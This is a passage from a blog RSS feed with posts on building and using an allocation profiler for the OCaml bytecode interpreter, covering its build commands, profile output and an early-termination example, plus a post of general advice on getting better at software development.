<span class="nv">$ </span>ocamlc <span class="nt">-o</span> queens <span class="nt">-g</span> queens.ml
<span class="nv">$ CAML_PROFILE_ALLOC</span><span class="o">=</span>queens.preprof ./queens
Chess boards<span class="s1">'s size ? 8
The 8 queens problem has 92 solutions.

Do you want to see the solutions &lt;n/y&gt; ? n
$ ./tools/allocprof queens.preprof queens.prof
$ head -n10 queens.prof
Total: 77,863 words
Instr   Words   % of total      Location
-----   -----   ----------      --------
2488    31440   40.38%          file "list.ml", line 55, characters 32-39
27681   31440   40.38%          file "queens.ml", line 61, characters 46-52
27775   5895    7.57%           file "queens.ml", line 38, characters 2-113
27759   4112    5.28%           file "queens.ml", line 40, characters 33-41
27687   3930    5.05%           file "queens.ml", line 61, characters 14-59
2403    86      0.11%           file "pervasives.ml", line 490, characters 8-63
5391    44      0.06%           file "list.ml", line 20, characters 15-29</span></code></pre></figure>

<p>Observe that we now have the precise location information directly in the
profile, whereas
<a href="http://kcsrk.info/ocaml/profiling/2015/09/23/bytecode-allocation-profiler">earlier</a>
one had to manually identify the source location using the instruction
information. In this profile, we see that most allocations were in
<code class="language-plaintext highlighter-rouge">list.ml:55</code>, which is the <code class="language-plaintext highlighter-rouge">List.map</code> function. However, we cannot pin down the
source of these allocations in <code class="language-plaintext highlighter-rouge">queens.ml</code> from this profile since the profile
is flat. Let us now obtain the stack allocation profile, which will reveal the
source of these allocations in <code class="language-plaintext highlighter-rouge">queens.ml</code>.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ CAML_PROFILE_ALLOC</span><span class="o">=</span>queens.preprof <span class="nv">CAML_PROFILE_STACK</span><span class="o">=</span>10000 ./queens
Chess boards<span class="s1">'s size ? 8
The 8 queens problem has 92 solutions.

Do you want to see the solutions &lt;n/y&gt; ? n
$ ./tools/allocprof queens.preprof queens.prof --sort-stack
$ head -n10 queens.prof
Total: 77,863 words
Instr   Current Cur %   Stack   Stack % Location
-----   ------- -----   -----   ------- --------
27836   0       0.00%   76911   98.78%  file "queens.ml", line 100, characters 33-42
27549   0       0.00%   76870   98.72%  file "queens.ml", line 85, characters 17-36
27466   0       0.00%   76473   98.21%  file "queens.ml", line 45, characters 18-31
27715   0       0.00%   65117   83.63%  file "queens.ml", line 62, characters 4-22
27694   0       0.00%   62880   80.76%  file "queens.ml", line 61, characters 31-59
2487    0       0.00%   55020   70.66%  file "list.ml", line 55, characters 32-39
2483    0       0.00%   31440   40.38%  file "list.ml", line 55, characters 20-23</span></code></pre></figure>

<p>I’ve chosen a stack depth of 10000 to obtain the complete stack profile of the
program. The option <code class="language-plaintext highlighter-rouge">--sort-stack</code> to <code class="language-plaintext highlighter-rouge">allocprof</code> sorts the results based on
the stack allocation profile. We can now clearly see the stack of functions
that perform most allocations. The line</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">27836   0       0.00%   76911   98.78%  file <span class="s2">"queens.ml"</span>, line 100, characters 33-42</code></pre></figure>

<p>says that 98.78% of all allocations were performed by the function at
<code class="language-plaintext highlighter-rouge">queens.ml:100</code>, characters 33-42, and its callees. This isn’t surprising since
this function is the top-level <a href="https://github.com/kayceesrk/code-snippets/blob/master/queens.ml#L100"><code class="language-plaintext highlighter-rouge">main</code>
function</a>!
More interesting is the 98.21% of allocations on <code class="language-plaintext highlighter-rouge">queens.ml:45</code>. This is the
recursive call to the <a href="https://github.com/kayceesrk/code-snippets/blob/master/queens.ml#L43"><code class="language-plaintext highlighter-rouge">concmap</code>
function</a>,
which in turn invokes the <code class="language-plaintext highlighter-rouge">List.map</code> function on <code class="language-plaintext highlighter-rouge">queens.ml:61</code>. We’ve now
pinned down the source of the allocation in <code class="language-plaintext highlighter-rouge">list.ml:55</code> to <code class="language-plaintext highlighter-rouge">queens.ml:61</code>.</p>

<h1 id="caveats-and-conclusions">Caveats and conclusions</h1>

<p>Unlike stack profiles of C programs, OCaml’s stack profile does not include all
the functions in the call stack since many calls are in tail positions. Calls
to functions at tail position will not have a frame on the stack, and hence
will not be included in the profile.</p>

<p>Please do submit issues and bug-fixes. Pull-requests are welcome! Also, here is
my trimmed down (yay \o/!), non-exhaustive wish list of features:</p>

<ul>
  <li>Dump the profile every few milliseconds to study the allocation behavior of
programs over time.</li>
  <li>Save the <a href="https://ocaml.org/meetings/ocaml/2013/proposals/profiling-memory.pdf">location information in the object
header</a>
and dump the heap at every GC to catch space leaks.</li>
</ul>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Thanks to <a href="https://github.com/trevorsummerssmith">trevorsummerssmith</a> for the example. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[How to get better at software development?]]></title>
            <link>https://captnemo.in/blog/2015/10/12/get-better-at-software-development/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/10/12/get-better-at-software-development/</guid>
            <pubDate>Mon, 12 Oct 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[I often get a lot of queries from people asking me about how to get started with software development, and how to get better at it. My replies are almost reaching stock-level worthy of copy-paste now, so I thought I might as well write about it publicly.
What follows is a list of advice I’d give to any person who wants to write software for a living. A lot of it might apply across professions, and a lot of it is tailored to students in universtities. Not everything might apply in your case, YMMV. Take everything with a pinch of salt. Feedback is welcome.
Join a community.
Highly preferable if its an IRL (In-real-life) community rather than just a chatroom somewhere, but even those are preferable over nothing. Communities have this shared sense of learning, that you don’t enjoy anywhere else. Passive learning is something I talk a lot about, and it only happens because of chance interactions that happen in communities. Even online communities work fairly well, and by online communities I mean places like StackOverflow, AskUbuntu, ServerFault, HackerNews, subreddits etc.
If you don’t have a physical community near you that you can join, maybe its time to start one?
Contribute to Open Source projects
It doesn’t have to be with your code, or even a large project. Even small javascript npm modules that you might think can be improved deserve some Pull Request love.
Write all code publicly
Your code not being public should be the exception, not the norm. I’ve found putting almost all my code on github fairly liberating. I keep all my OS configuration and a lot of other things on github.
Do tech talks
It doesn’t have to be at a big-name conference, but maybe at a small meetup around you. Good conferences will sponsor your tickets, and as a plus, you get to attend all the talks at that conference for free. Just make sure that you actually do know what you’re talking about, unlike a lot of talks that happen.
The level of knowledge expected of a speaker is far more, and as a result if you are the one talking about something, you need to get better at it and understand it better, which is a great way of forcing yourself to learn something.
Stay Updated
Reading Hacker News is a fairly certain way of making sure of that. A person doing PHP development should be aware of things like Composer, HHVM, and perhaps the upcoming changes in PHP7 (They’re awesome). As a technologist, part of our job is to stay updated with trends (no matter how insane the JS framework wars sound). The code you will be writing 5 years from now will be in an entirely different framework than what you are using today. This doesn’t mean that you should start learning the ins and outs of every JS framework, but rather that you should be tangentially aware of developments happening in the space. (For eg, following stable updates of Rails even though you are not a Rails developer).
Learn more languages
I am a proud polyglot, and I very often realize that knowing more than one language changes your style and more importantly your thinking process significantly. For eg, a Ruby programmer will be fairly comfortable with the idea of metaprogramming compared to a PHP developer, and even more so when it might come to DSL (Domain Specific Languages). Similarly, knowing Haskell or Functional Programming in general teaches you a lot of things that you might re-use back in your JavaScript world.   
Concepts Matter
I was asking people about good interview questions, and one that I really liked was “How do you write an HTTP server using sockets?”. A lot of developers are stuck in this moat of “programming = software development”. And you can’t get over that unless you start thinking in terms of concepts. This is not me trying to get people to become Architecture Astronauts, but me trying to get people to understand how things work.
I’ve interviewed people who have no idea about how HTTP works, and in my opinion you can’t really be a web developer without knowing HTTP. A fairly good filter for good web developers is whether they know the ins-and-outs of HTTP. And HTTP is not a programming challenge, but rather a conceptual problem.
Similarly, if you work in the frontend, and you don’t know what the Same Origin Policy is, I am not gonna hire you. (“Is it implemented on the browser or the server?” is a another good question). The point I’m trying to make is that you need to get a layer above your language’s standard library and understand how things work. Learning ActiveRecord is awesome, but do you understand how it works?
Ship Products
Doesn’t matter if they are small, or made in a hackathon. As long as its shipped, we’re cool. If its not, come back when you’ve shipped it.
Have side projects
This is slightly harder to do, but far more rewarding. Make sure that your side-project is not something you expect to make money out of, and that it has a fairly reasonable scope. Side projects are an excellent breeding ground for you to try out new technologies, and play around with new languages. Its a really good breakaway from work-things as well, on top of that.
Read technical books
As a start, I’d recommend everything that codinghorror has suggested here and here. There are a lot of good books listed on hackershelf.com as well. My personal favorite is Don’t Make Me Think, which is a book on Web Usability and something I think every developer and designer should be forced to read.
Thanks to Shashank Mehta for discussing these ideas
with me and helping me frame this post.]]></description>
            <content:encoded><![CDATA[<p>I often get a lot of queries from people asking me about how to get started with software development, and how to get better at it. My replies are almost reaching stock-level worthy of copy-paste now, so I thought I might as well write about it publicly.</p>

<p>What follows is a list of advice I’d give to any person who wants to write software for a living. A lot of it might apply across professions, and a lot of it is tailored to students in universtities. Not everything might apply in your case, YMMV. Take everything with a pinch of salt. Feedback is welcome.</p>

<ol>
  <li>
    <h3 id="join-a-community">Join a community.</h3>
    <p>Highly preferable if its an IRL (In-real-life) community rather than just a chatroom somewhere, but even those are preferable over nothing. Communities have this shared sense of learning, that you don’t enjoy anywhere else. Passive learning is something I talk a lot about, and it only happens because of chance interactions that happen in communities. Even online communities work fairly well, and by online communities I mean places like StackOverflow, AskUbuntu, ServerFault, HackerNews, subreddits etc.
If you don’t have a physical community near you that you can join, maybe its time to start one?</p>
  </li>
  <li>
    <h3 id="contribute-to-open-source-projects">Contribute to Open Source projects</h3>
    <p>It doesn’t have to be with your code, or even a large project. Even small javascript npm modules that you might think can be improved deserve some Pull Request love.</p>
  </li>
  <li>
    <h3 id="write-all-code-publicly">Write all code publicly</h3>
    <p>Your code not being public should be the exception, not the norm. I’ve found putting almost all my code on github fairly liberating. I keep all my OS configuration and a lot of other things on github.</p>
  </li>
  <li>
    <h3 id="do-tech-talks">Do tech talks</h3>
    <p>It doesn’t have to be at a big-name conference, but maybe at a small meetup around you. Good conferences will sponsor your tickets, and as a plus, you get to attend all the talks at that conference for free. Just make sure that you actually <em>do know</em> what you’re talking about, unlike a lot of talks that happen.
The level of knowledge expected of a speaker is far more, and as a result if you are the one talking about something, you need to get better at it and understand it better, which is a great way of forcing yourself to learn something.</p>
  </li>
  <li>
    <h3 id="stay-updated">Stay Updated</h3>
    <p>Reading Hacker News is a fairly certain way of making sure of that. A person doing PHP development should be aware of things like Composer, HHVM, and perhaps the upcoming changes in PHP7 (They’re awesome). As a technologist, part of our job is to stay updated with trends (no matter how insane the JS framework wars sound). The code you will be writing 5 years from now will be in an entirely different framework than what you are using today. This doesn’t mean that you should start learning the ins and outs of every JS framework, but rather that you should be tangentially aware of developments happening in the space. (For eg, following stable updates of Rails even though you are not a Rails developer).</p>
  </li>
  <li>
    <h3 id="learn-more-languages">Learn more languages</h3>
    <p>I am a proud polyglot, and I very often realize that knowing more than one language changes your style and more importantly your thinking process significantly. For eg, a Ruby programmer will be fairly comfortable with the idea of metaprogramming compared to a PHP developer, and even more so when it might come to DSL (Domain Specific Languages). Similarly, knowing Haskell or Functional Programming in general teaches you a lot of things that you might re-use back in your JavaScript world.   <br />
This doesn’t happen unless you know more than one language. Moreoever, its always helpful to have JavaScript as your second language (if you are looking for one), because of its monopoly in front-end development. A lot of technologies (like CORS/JSONP) just don’t make sense unless you understand JavaScript.</p>
  </li>
  <li>
    <h3 id="concepts-matter">Concepts Matter</h3>
    <p>I was asking people about good interview questions, and one that I really liked was “How do you write an HTTP server using sockets?”. A lot of developers are stuck in this moat of “programming = software development”. And you can’t get over that unless you start thinking in terms of concepts. This is not me trying to get people to become Architecture Astronauts, but me trying to get people to understand how things work.
I’ve interviewed people who have no idea about how HTTP works, and in my opinion you can’t really be a web developer without knowing HTTP. A fairly good filter for good web developers is whether they know the ins-and-outs of HTTP. And HTTP is not a programming challenge, but rather a conceptual problem.
Similarly, if you work in the frontend, and you don’t know what the Same Origin Policy is, I am not gonna hire you. (“Is it implemented on the browser or the server?” is a another good question). The point I’m trying to make is that you need to get a layer above your language’s standard library and understand how things work. Learning ActiveRecord is awesome, but do you understand how it works?</p>
  </li>
  <li>
    <h3 id="ship-products">Ship Products</h3>
    <p>Doesn’t matter if they are small, or made in a hackathon. As long as its shipped, we’re cool. If its not, come back when you’ve shipped it.</p>
  </li>
  <li>
    <h3 id="have-side-projects">Have side projects</h3>
    <p>This is slightly harder to do, but far more rewarding. Make sure that your side-project is not something you <em>expect</em> to make money out of, and that it has a fairly reasonable scope. Side projects are an excellent breeding ground for you to try out new technologies, and play around with new languages. Its a really good breakaway from work-things as well, on top of that.</p>
  </li>
  <li>
    <h3 id="read-technical-books">Read technical books</h3>
    <p>As a start, I’d recommend everything that codinghorror has suggested <a href="https://blog.codinghorror.com/recommended-reading-for-developers/">here</a> and <a href="https://blog.codinghorror.com/programmers-dont-read-books-but-you-should/">here</a>. There are a lot of good books listed on hackershelf.com as well. My personal favorite is <a href="http://www.amazon.com/exec/obidos/ASIN/0321965515">Don’t Make Me Think</a>, which is a book on Web Usability and something I think every developer and designer should be forced to read.</p>
  </li>
</ol>

<p><strong>Thanks</strong> to <a href="https://shashankmehta.in">Shashank Mehta</a> for discussing these ideas
with me and helping me frame this post.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[An Allocation Profiler for OCaml Bytecode Interpreter]]></title>
            <link>https://kcsrk.info/ocaml/profiling/2015/09/23/bytecode-allocation-profiler/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/profiling/2015/09/23/bytecode-allocation-profiler/</guid>
            <pubDate>Wed, 23 Sep 2015 09:51:30 GMT</pubDate>
            <description><![CDATA[This post describes a simple flat allocation profiler for OCaml 4.02 bytecode
interpreter.
OCaml is a strongly typed functional language with automatic memory management.
Automatic memory management alleviates the need to manually deal with memory
memory management, and by construction, avoids a large class of bugs. However,
abstractions are not free in OCaml. Unlike MLton, a
whole-program optimizing Standard ML compiler, which I used to hack on in an
earlier life, in OCaml, one
needs to be particularly aware of the cost of introducing abstractions such as
higher-order functions and modules. This is often at odds with desirable
programming patterns one tends to embrace in a higher-order modular functional
language. Writing performance sensitive code in OCaml remains a skill that is
acquired gradually through experience.
There are of course, excellent
resources
available
to understand the performance implications of OCaml abstractions. However,
often times, I simply need a way to profile and uncover performance bottlenecks
in my program, before I can apply any targeted optimizations. Profiling along
the following three axes are particularly useful: time, counts and
allocations. OCaml has good support for two of
these. While ocamlcp
with ocamlprof gives you count profile, one can use the standard Unix
profiler gprof for time profiling. However, these do not necessarily help
with identifying the cost of abstractions, for which one needs an allocation
profiler1.
The state of allocation profiling in OCaml
While allocation profiler is not part of the standard OCaml distribution,
several alternatives do exist. Memprof from
OCamlPro provides “non-intrusive memory profiler
for OCaml applications”, with a simple online version and a commercial version
with fine-grained tracing. Mark Shinwell has an allocation profiler for OCaml
4.02 native
code programs generated by ocamlopt. Unfortunately, neither of these options
were suitable for me as the Multicore
OCaml currently only supports
bytecode compilation, and has a
markedly
different
GC. So I decided to implement my
own for the multicore
compiler.
Since the allocation profiler will be useful in general, I have also ported it
to OCaml 4.02.
This post talks about the vanilla OCaml allocation profiler.
Bytecode allocation profiler
The idea of this allocation profiler is to record the allocations and associate
them with the position in the code where the corresponding block or closure was
allocated. In particular, we do not record the call stack that led to the
allocation point, which would have provided us a more accurate picture. One can
get pretty far with just the flat profile. Running the bytecode program under
the modified interpreter produces a profile, which is then analyzed offline.
The bytecode interpreter of OCaml is remarkably simple, as is the patch for the
allocation profiler. In this section, I will detail the implementation of the
profiler. If you are interested in just using the profiler, do skip right to
the instructions.
When the bytecode is loaded by the interpreter in
caml_load_code,
it allocates an array for the bytecode. caml_start_code points to the start
of this array. The program counter
pc
is a pointer into this array. We maintain a distinct code pointer
profile_pc
that always points to the instruction and never its operands. The offset of
profile_pc from caml_start_code uniquely identifies a instruction in the
bytecode executable. We will use this offset to record the allocation points.
We allocate an array
caml_profile_counts
of unsigned integers whose length is equal to the length of the code, into
which we will store the allocation counts. There are two main ways in which
OCaml allocates memory;
Alloc_small
for allocating in minor heap, and
caml_alloc_shr
for allocating in major heap. We modify both to record the allocations at a
given instruction. We modify
interp.c
to update profile_pc for instructions which potentially allocate. Allocations
for arrays and strings are performed in their corresponding C functions through
caml_alloc.
Such allocations are covered by recording the instruction in
Setup_for_c_call.
caml_alloc_shr is also used by the GC for promoting live minor heap objects
to major heap at the end of a minor GC cycle. Allocations by GC is ignored by
resetting profile_pc to NULL before minor collections. Hence, the profiler
only counts allocations by the mutator. Finally, the interpreter outputs the
profile
at the end of execution of the program.
 
#Using the profiler
In order to use the profiler, compile the OCaml programs with the bytecode
compiler ocamlc with -g option to record the debugging information. This
will be used to interpret the profile. When using ocamlbuild it is necessary
to compile and link with -g (with -cflag -g -lflag -g).
First, get OCaml 4.02 with the allocation profiler, and build it using
opam-compiler-conf:
$ git clone https://github.com/kayceesrk/ocaml
$ cd ocaml
$ git checkout 4.02-profile-alloc
$ opam compiler-conf configure
$ make world.opt
$ opam compiler-conf install


Let us profile the Eight
Queens
program. Profiling is enabled by setting the CAML_PROFILE_ALLOC to the output
filename of the profile.
$ wget http://caml.inria.fr/pub/old_caml_site/Examples/oc/basics/queens.ml
$ ocamlc -o queens -g queens.ml
$ CAML_PROFILE_ALLOC=queens.preprof ./queens
Chess boards's size ? 8
The 8 queens problem has 92 solutions.

Do you want to see the solutions <n/y> ? n
$ ./tools/allocprof queens.preprof > queens.prof
$ head -n5 queens.prof
Total: 80,433 words
Instr   Words   % of total
-----   -----   ----------
2488    31440   39.09%
27681   31440   39.09%


allocprof is a small python script that post-processes the profile. The
post-processed profile shows the total number of words allocated, and is
followed by the instruction number, words allocated and the percentage of total
allocation that it represents. The instruction number can be linked back to the
source code by dumping the bytecode executable with dumpobj.
$ ./tools/dumpobj queens > queens.dumpobj
$ vim queens.prof queens.dump queens.ml



We can see that the program spent 39.09% of allocations for appending to lists
in queens.ml line 61. For the curious, the other 39.09% was spent in
List.map function.
Dealing with early termination
 

The profiler normally writes out the profile at the end of the standard program
termination, when the interpreter has run to completion. However, programs may
terminate early by explicitly invoking exit. In such cases, the runtime does
not get a chance to output the profile. Hence, a function output_profile: unit
-> unit is provided to explicitly request the profile to be written out to the
filename provided in CAML_PROFILE_ALLOC. The following example illustrates
the use case in a program that uses the Async library:
(* foo.ml *)
open Core.Std
open Async.Std

let main () =
  printf "Hello!\n";
  (* Without this call, profile isn't written out *)
  output_profile ();
  return ()

let () =
  Command.async_basic
    ~summary:"foo"
    Command.Spec.(empty)
    main
  |> Command.run


The program is compiled and run as follows:
$ ocamlbuild -use-ocamlfind foo.byte -package core -package async -tag thread -tag debug
Finished, 3 targets (0 cached) in 00:00:00.
$ CAML_PROFILE_ALLOC=foo.preprof ./foo.byte
Hello!
$ ls foo.preprof
foo.preprof


Thanks to trevorsummerssmith for the
motivation and the example.
Conclusion
The allocation profiler has been quite useful for optimizing small programs. It
would be interesting to see whether it scales to larger ones. Also, here is my
(non-exhaustive) wish list of features:
Improve tooling. Avoid the need to manually search through text files.
Record stack allocation. This is especially important in multicore OCaml
  since stacks are heap allocated.
Record the call stack information for allocations to get an informative profile.
Dump the profile every few milliseconds to study the allocation behavior of
  programs over time.
Save the location information in the object
  header
  and dump the heap at every GC to catch space leaks.
Profiling for time does give you the time that the program spends in garbage collection functions such as minor GC cycles and major GC slices, but are not helpful for pinpointing allocation bottlenecks. ↩]]></description>
            <content:encoded><![CDATA[<p>This post describes a simple flat allocation profiler for OCaml 4.02 bytecode
interpreter.</p>

<!--more-->

<p>OCaml is a strongly typed functional language with automatic memory management.
Automatic memory management alleviates the need to manually deal with memory
memory management, and by construction, avoids a large class of bugs. However,
abstractions are not free in OCaml. Unlike <a href="http://mlton.org/">MLton</a>, a
whole-program optimizing Standard ML compiler, which I used to hack on in <a href="http://multimlton.cs.purdue.edu/mML/Welcome.html">an
earlier life</a>, in OCaml, one
needs to be particularly aware of the cost of introducing abstractions such as
higher-order functions and modules. This is often at odds with desirable
programming patterns one tends to embrace in a higher-order modular functional
language. Writing performance sensitive code in OCaml remains a skill that is
acquired gradually through experience.</p>

<p>There are of course, excellent
<a href="https://janestreet.github.io/ocaml-perf-notes.html">resources</a>
<a href="https://ocaml.org/learn/tutorials/performance_and_profiling.html">available</a>
to understand the performance implications of OCaml abstractions. However,
often times, I simply need a way to profile and uncover performance bottlenecks
in my program, before I can apply any targeted optimizations. Profiling along
the following three axes are particularly useful: <em>time</em>, <em>counts</em> and
<em>allocations</em>. OCaml has <a href="http://caml.inria.fr/pub/docs/manual-ocaml/profil.html">good support for two of
these</a>. While <code class="language-plaintext highlighter-rouge">ocamlcp</code>
with <code class="language-plaintext highlighter-rouge">ocamlprof</code> gives you count profile, one can use the standard Unix
profiler <code class="language-plaintext highlighter-rouge">gprof</code> for time profiling. However, these do not necessarily help
with identifying the cost of abstractions, for which one needs an allocation
profiler<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>.</p>

<h1 id="the-state-of-allocation-profiling-in-ocaml">The state of allocation profiling in OCaml</h1>

<p>While allocation profiler is not part of the standard OCaml distribution,
several alternatives do exist. <a href="http://memprof.typerex.org/">Memprof</a> from
<a href="http://www.ocamlpro.com/">OCamlPro</a> provides <em>“non-intrusive memory profiler
for OCaml applications”</em>, with a simple online version and a commercial version
with fine-grained tracing. Mark Shinwell has an <a href="https://github.com/mshinwell/ocaml/tree/4.02-allocation-profiling">allocation profiler for OCaml
4.02</a> native
code programs generated by <code class="language-plaintext highlighter-rouge">ocamlopt</code>. Unfortunately, neither of these options
were suitable for me as the <a href="https://github.com/ocamllabs/ocaml-multicore">Multicore
OCaml</a> currently only supports
bytecode compilation, and has a
<a href="http://www.lpw25.net/ocaml2014-abs.pdf">markedly</a>
<a href="http://www.cl.cam.ac.uk/~sd601/papers/multicore_slides.pdf">different</a>
<a href="https://www.youtube.com/watch?v=FzmQTC_X5R4">GC</a>. So I decided to implement my
own for the <a href="https://github.com/kayceesrk/ocaml-multicore/tree/profile-alloc">multicore
compiler</a>.
Since the allocation profiler will be useful in general, I have also ported it
to <a href="https://github.com/kayceesrk/ocaml/tree/4.02-profile-alloc">OCaml 4.02</a>.
This post talks about the vanilla OCaml allocation profiler.</p>

<h1 id="bytecode-allocation-profiler">Bytecode allocation profiler</h1>

<p>The idea of this allocation profiler is to record the allocations and associate
them with the position in the code where the corresponding block or closure was
allocated. In particular, we do not record the call stack that led to the
allocation point, which would have provided us a more accurate picture. One can
get pretty far with just the flat profile. Running the bytecode program under
the modified interpreter produces a profile, which is then analyzed offline.</p>

<p>The bytecode interpreter of OCaml is remarkably simple, as is the patch for the
allocation profiler. In this section, I will detail the implementation of the
profiler. If you are interested in just using the profiler, do skip right to
the <a href="#instructions">instructions</a>.</p>

<p>When the bytecode is loaded by the interpreter in
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/fix_code.c#L50"><code class="language-plaintext highlighter-rouge">caml_load_code</code></a>,
it allocates an array for the bytecode. <code class="language-plaintext highlighter-rouge">caml_start_code</code> points to the start
of this array. The program counter
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/interp.c#L195"><code class="language-plaintext highlighter-rouge">pc</code></a>
is a pointer into this array. We maintain a distinct code pointer
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/interp.c#L188"><code class="language-plaintext highlighter-rouge">profile_pc</code></a>
that always points to the instruction and never its operands. The offset of
<code class="language-plaintext highlighter-rouge">profile_pc</code> from <code class="language-plaintext highlighter-rouge">caml_start_code</code> uniquely identifies a instruction in the
bytecode executable. We will use this offset to record the allocation points.</p>

<p>We allocate an array
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/startup.c#L418"><code class="language-plaintext highlighter-rouge">caml_profile_counts</code></a>
of unsigned integers whose length is equal to the length of the code, into
which we will store the allocation counts. There are two main ways in which
OCaml allocates memory;
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/caml/memory.h#L71"><code class="language-plaintext highlighter-rouge">Alloc_small</code></a>
for allocating in minor heap, and
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/memory.c#L405"><code class="language-plaintext highlighter-rouge">caml_alloc_shr</code></a>
for allocating in major heap. We modify both to record the allocations at a
given instruction. We modify
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/interp.c"><code class="language-plaintext highlighter-rouge">interp.c</code></a>
to update <code class="language-plaintext highlighter-rouge">profile_pc</code> for instructions which potentially allocate. Allocations
for arrays and strings are performed in their corresponding C functions through
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/alloc.c#L30"><code class="language-plaintext highlighter-rouge">caml_alloc</code></a>.
Such allocations are covered by recording the instruction in
<a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/interp.c#L69"><code class="language-plaintext highlighter-rouge">Setup_for_c_call</code></a>.</p>

<p><code class="language-plaintext highlighter-rouge">caml_alloc_shr</code> is also used by the GC for promoting live minor heap objects
to major heap at the end of a minor GC cycle. Allocations by GC is ignored by
resetting <code class="language-plaintext highlighter-rouge">profile_pc</code> to <code class="language-plaintext highlighter-rouge">NULL</code> before minor collections. Hence, the profiler
only counts allocations by the mutator. Finally, the interpreter <a href="https://github.com/kayceesrk/ocaml/blob/ec9496b2485eee5be14e43d1d99b2b37a8d3b3da/byterun/startup.c#L450">outputs the
profile</a>
at the end of execution of the program.</p>

<div id="instructions"> </div>
<p>#Using the profiler</p>

<p>In order to use the profiler, compile the OCaml programs with the bytecode
compiler <code class="language-plaintext highlighter-rouge">ocamlc</code> with <code class="language-plaintext highlighter-rouge">-g</code> option to record the debugging information. This
will be used to interpret the profile. When using <code class="language-plaintext highlighter-rouge">ocamlbuild</code> it is necessary
to compile and link with <code class="language-plaintext highlighter-rouge">-g</code> (with <code class="language-plaintext highlighter-rouge">-cflag -g -lflag -g</code>).</p>

<p>First, get OCaml 4.02 with the allocation profiler, and build it using
<a href="https://github.com/gasche/opam-compiler-conf"><code class="language-plaintext highlighter-rouge">opam-compiler-conf</code></a>:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>git clone https://github.com/kayceesrk/ocaml
<span class="nv">$ </span><span class="nb">cd </span>ocaml
<span class="nv">$ </span>git checkout 4.02-profile-alloc
<span class="nv">$ </span>opam compiler-conf configure
<span class="nv">$ </span>make world.opt
<span class="nv">$ </span>opam compiler-conf <span class="nb">install</span></code></pre></figure>

<p>Let us profile the <a href="http://caml.inria.fr/pub/old_caml_site/Examples/oc/basics/queens.ml">Eight
Queens</a>
program. Profiling is enabled by setting the <code class="language-plaintext highlighter-rouge">CAML_PROFILE_ALLOC</code> to the output
filename of the profile.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>wget http://caml.inria.fr/pub/old_caml_site/Examples/oc/basics/queens.ml
<span class="nv">$ </span>ocamlc <span class="nt">-o</span> queens <span class="nt">-g</span> queens.ml
<span class="nv">$ CAML_PROFILE_ALLOC</span><span class="o">=</span>queens.preprof ./queens
Chess boards<span class="s1">'s size ? 8
The 8 queens problem has 92 solutions.

Do you want to see the solutions &lt;n/y&gt; ? n
$ ./tools/allocprof queens.preprof &gt; queens.prof
$ head -n5 queens.prof
Total: 80,433 words
Instr   Words   % of total
-----   -----   ----------
2488    31440   39.09%
27681   31440   39.09%</span></code></pre></figure>

<p><code class="language-plaintext highlighter-rouge">allocprof</code> is a small python script that post-processes the profile. The
post-processed profile shows the total number of words allocated, and is
followed by the instruction number, words allocated and the percentage of total
allocation that it represents. The instruction number can be linked back to the
source code by dumping the bytecode executable with <code class="language-plaintext highlighter-rouge">dumpobj</code>.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>./tools/dumpobj queens <span class="o">&gt;</span> queens.dumpobj
<span class="nv">$ </span>vim queens.prof queens.dump queens.ml</code></pre></figure>

<p><img src="https://kcsrk.info/assets/queens-profile-alloc.png" alt="Profiling 8 queens" /></p>

<p>We can see that the program spent 39.09% of allocations for appending to lists
in <code class="language-plaintext highlighter-rouge">queens.ml</code> line 61. For the curious, the other 39.09% was spent in
<code class="language-plaintext highlighter-rouge">List.map</code> function.</p>

<h1 id="dealing-with-early-termination">Dealing with early termination</h1>

<div id="earlytermination"> </div>

<p>The profiler normally writes out the profile at the end of the standard program
termination, when the interpreter has run to completion. However, programs may
terminate early by explicitly invoking <code class="language-plaintext highlighter-rouge">exit</code>. In such cases, the runtime does
not get a chance to output the profile. Hence, a function <code class="language-plaintext highlighter-rouge">output_profile: unit
-&gt; unit</code> is provided to explicitly request the profile to be written out to the
filename provided in <code class="language-plaintext highlighter-rouge">CAML_PROFILE_ALLOC</code>. The following example illustrates
the use case in a program that uses the <code class="language-plaintext highlighter-rouge">Async</code> library:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="c">(* foo.ml *)</span>
<span class="k">open</span> <span class="nn">Core</span><span class="p">.</span><span class="nc">Std</span>
<span class="k">open</span> <span class="nn">Async</span><span class="p">.</span><span class="nc">Std</span>

<span class="k">let</span> <span class="n">main</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="n">printf</span> <span class="s2">"Hello!</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
